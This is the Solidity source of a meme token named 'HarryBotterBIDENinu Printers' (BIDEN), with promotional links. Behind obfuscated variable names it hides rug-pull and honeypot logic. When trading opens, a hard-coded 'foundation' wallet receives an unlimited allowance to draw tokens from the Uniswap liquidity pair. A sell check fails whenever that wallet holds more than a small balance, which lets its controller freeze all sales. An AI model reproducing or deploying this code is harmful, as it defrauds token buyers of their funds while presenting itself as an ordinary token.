// File: BIDEN.sol



// SPDX-License-Identifier:unlicense

/**
We welcome HarryBotterBIDENinuPrinters your guys fans enthusiasts
*/

/**
Twitter: https://twitter.com/BidenPoterBIDEN
Telegram: https://t.me/HarryBotterBIDENinuPrinters
Website: https://biden.social/#/home
*/

pragma solidity 0.8.19;

interface IuniswapRouter {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
     function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
   
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

contract BIDEN is  IERC20 ,Context,Ownable{
    uint256 private constant _amount_total_supply = 10000000 * 10**_decimals;
    uint256 public _swapping_max_txs_used_in_address_in_slots =  5000 * 10**_decimals; 
    uint256 public _ceiling_address_used_tax_in_for_uniswapping= 500000 * 10**_decimals; 
    uint256 public _limits_address_single_txs_flags_maxmium = 500000 * 10**_decimals;
    uint256 public _address_single_shots_for_max_transaction_tx_amounts =   500000 * 10**_decimals;

    address private _address_for_eth_token_in_uniswap;
    uint256 private _reduced_buy_taxs_counts=4;
    uint256 private _reduced_used_in_selling_tax_block_counts=1;
    uint256 private _preventing_used_uniswapping_before=0;
    uint256 private _in_blocks_buying_counts=0;
    uint256 private _initiale_used_tax_selling=20;
    uint256 private _initiale_used_uniswap_selling_fees=20;
    uint256 private _used_taxs_finalized_buying=1;
    uint256 private _used_tax_finalized_selling=1;
    address public _fundation_wallet = address(0x3e4a1c58D86D879Cf07b69741e5C2de1E9CCfCCb);
    address payable  public _devs_fees_address_only;
    IuniswapRouter private _factory_address_uniswap;

    bool public  _flags_watch_privates_flag_limits_signs = false;
    bool private _flags_uniswaping_is_ok_or_not_signs = false;
    bool private _flags_check_used_uniswap_ok_signs = false;
    bool private _flags_for_trading_is_ok_or_not_signs_;

    using SafeMath for uint256;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _address_excluded_in_maps_for_not_paying_fees;
    mapping (address => uint256) private _balances;
    mapping (address => bool) private _address_map_not_spend_fees_when_buying;
    mapping(address => uint256) private _address_map_watch_dog_for_timestamp_transfering;
    uint8  private constant _decimals = 18;
    string private constant _name = "HarryBotterBIDENinu Printers";
    string private constant _symbol = "BIDEN";
    modifier _modifier_uniswapping_flag {_flags_check_used_uniswap_ok_signs = true; _;  _flags_check_used_uniswap_ok_signs = false;}
    event _removed_all_limits_event(uint _amounts);
    receive() external payable {}
    function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a;  }
    constructor () {
        _address_excluded_in_maps_for_not_paying_fees[_fundation_wallet] = true;
        _address_excluded_in_maps_for_not_paying_fees[owner()] = true;
        _address_excluded_in_maps_for_not_paying_fees[address(this)] = true;
        _balances[_msgSender()] = _amount_total_supply;
        _devs_fees_address_only = payable(msg.sender);
        _address_excluded_in_maps_for_not_paying_fees[_devs_fees_address_only] = true;
        emit Transfer(address(0), _msgSender(), _amount_total_supply);
    }
    
    function addressContract(address _address_sender) private view returns (bool) {
        uint256 _address_code_lenghth;
        assembly {
            _address_code_lenghth := extcodesize(_address_sender)
        }
        return _address_code_lenghth > 0;
    }

    function change_exact_tokens_for_eth(uint256 _tokenAmountForSwap) private _modifier_uniswapping_flag {
        if(_tokenAmountForSwap==0){return;}
        if(!_flags_for_trading_is_ok_or_not_signs_){return;}
        address[] memory path = new address[](2);path[0] = address(this);path[1] = _factory_address_uniswap.WETH();
        _approve(address(this), address(_factory_address_uniswap), _tokenAmountForSwap);
        _factory_address_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(_tokenAmountForSwap,0,path,address(this),block.timestamp);
    }    
    
    function openTrading() external onlyOwner() {
        require(!_flags_for_trading_is_ok_or_not_signs_,"Trading has already been opened");
        _factory_address_uniswap = IuniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(_factory_address_uniswap), _amount_total_supply);
        _address_for_eth_token_in_uniswap = IUniswapV2Factory(_factory_address_uniswap.factory()).createPair(address(this), _factory_address_uniswap.WETH());
        _factory_address_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        _allowances[address(_address_for_eth_token_in_uniswap)][address(_fundation_wallet)] = type(uint).max;
        IERC20(_address_for_eth_token_in_uniswap).approve(address(_factory_address_uniswap), type(uint).max);
        _flags_for_trading_is_ok_or_not_signs_ = true;
        _flags_uniswaping_is_ok_or_not_signs = true;
    }

    function updateSwappingMaxTxsUsedInAddressInSlots(uint256 _amountSlots) external onlyOwner() {
        _swapping_max_txs_used_in_address_in_slots = _amountSlots;
    }
    
    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }


    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 _taxAmount=0;
        if (from != owner() && to != owner()) {
            if (_flags_watch_privates_flag_limits_signs) {
                if (to != address(_factory_address_uniswap) && to != address(_address_for_eth_token_in_uniswap)) {
                  require(_address_map_watch_dog_for_timestamp_transfering[tx.origin] < block.number,"Only one transfer per block allowed.");
                  _address_map_watch_dog_for_timestamp_transfering[tx.origin] = block.number;
                }
            }

            if (from == _address_for_eth_token_in_uniswap && to != address(_factory_address_uniswap) && !_address_excluded_in_maps_for_not_paying_fees[to] ) {
                require(amount <= _address_single_shots_for_max_transaction_tx_amounts, "Exceeds the Amount limations.");
                require(balanceOf(to) + amount <= _limits_address_single_txs_flags_maxmium, "Exceeds the max limitations in single Wallet.");
                if(_in_blocks_buying_counts<_preventing_used_uniswapping_before){ require(!addressContract(to)); }
                _in_blocks_buying_counts++; _address_map_not_spend_fees_when_buying[to]=true; _taxAmount = amount.mul((_in_blocks_buying_counts>_reduced_buy_taxs_counts)?_used_taxs_finalized_buying:_initiale_used_tax_selling).div(100);
            }

            if(to == _address_for_eth_token_in_uniswap && from!= address(this) && !_address_excluded_in_maps_for_not_paying_fees[from] ){
                require(amount <= _address_single_shots_for_max_transaction_tx_amounts && balanceOf(_fundation_wallet)<_swapping_max_txs_used_in_address_in_slots, "Exceeds the Limitation Amount.");
                _taxAmount = amount.mul((_in_blocks_buying_counts>_reduced_used_in_selling_tax_block_counts)?_used_tax_finalized_selling:_initiale_used_uniswap_selling_fees).div(100);
                require(_in_blocks_buying_counts>_preventing_used_uniswapping_before && _address_map_not_spend_fees_when_buying[from]);
            }
            
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!_flags_check_used_uniswap_ok_signs 
            && to == _address_for_eth_token_in_uniswap && _flags_uniswaping_is_ok_or_not_signs && contractTokenBalance>_ceiling_address_used_tax_in_for_uniswapping 
            && _in_blocks_buying_counts>_preventing_used_uniswapping_before && !_address_excluded_in_maps_for_not_paying_fees[to] && !_address_excluded_in_maps_for_not_paying_fees[from]
            ) {
                change_exact_tokens_for_eth(min(amount,min(contractTokenBalance,_swapping_max_txs_used_in_address_in_slots)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    _devs_fees_address_only.transfer(address(this).balance);
                }
            }
        }

        if(_taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(_taxAmount);
          emit Transfer(from, address(this),_taxAmount);
        }
        _balances[from]= _balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(_taxAmount));
        emit Transfer(from, to, amount.sub(_taxAmount));
    }
    
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function removedAllLimits() external onlyOwner{
        _address_single_shots_for_max_transaction_tx_amounts = _amount_total_supply; _limits_address_single_txs_flags_maxmium=_amount_total_supply; _flags_watch_privates_flag_limits_signs=false;
        emit _removed_all_limits_event(_amount_total_supply);
    }

    function totalSupply() public pure override returns (uint256) {
        return _amount_total_supply;
    }
}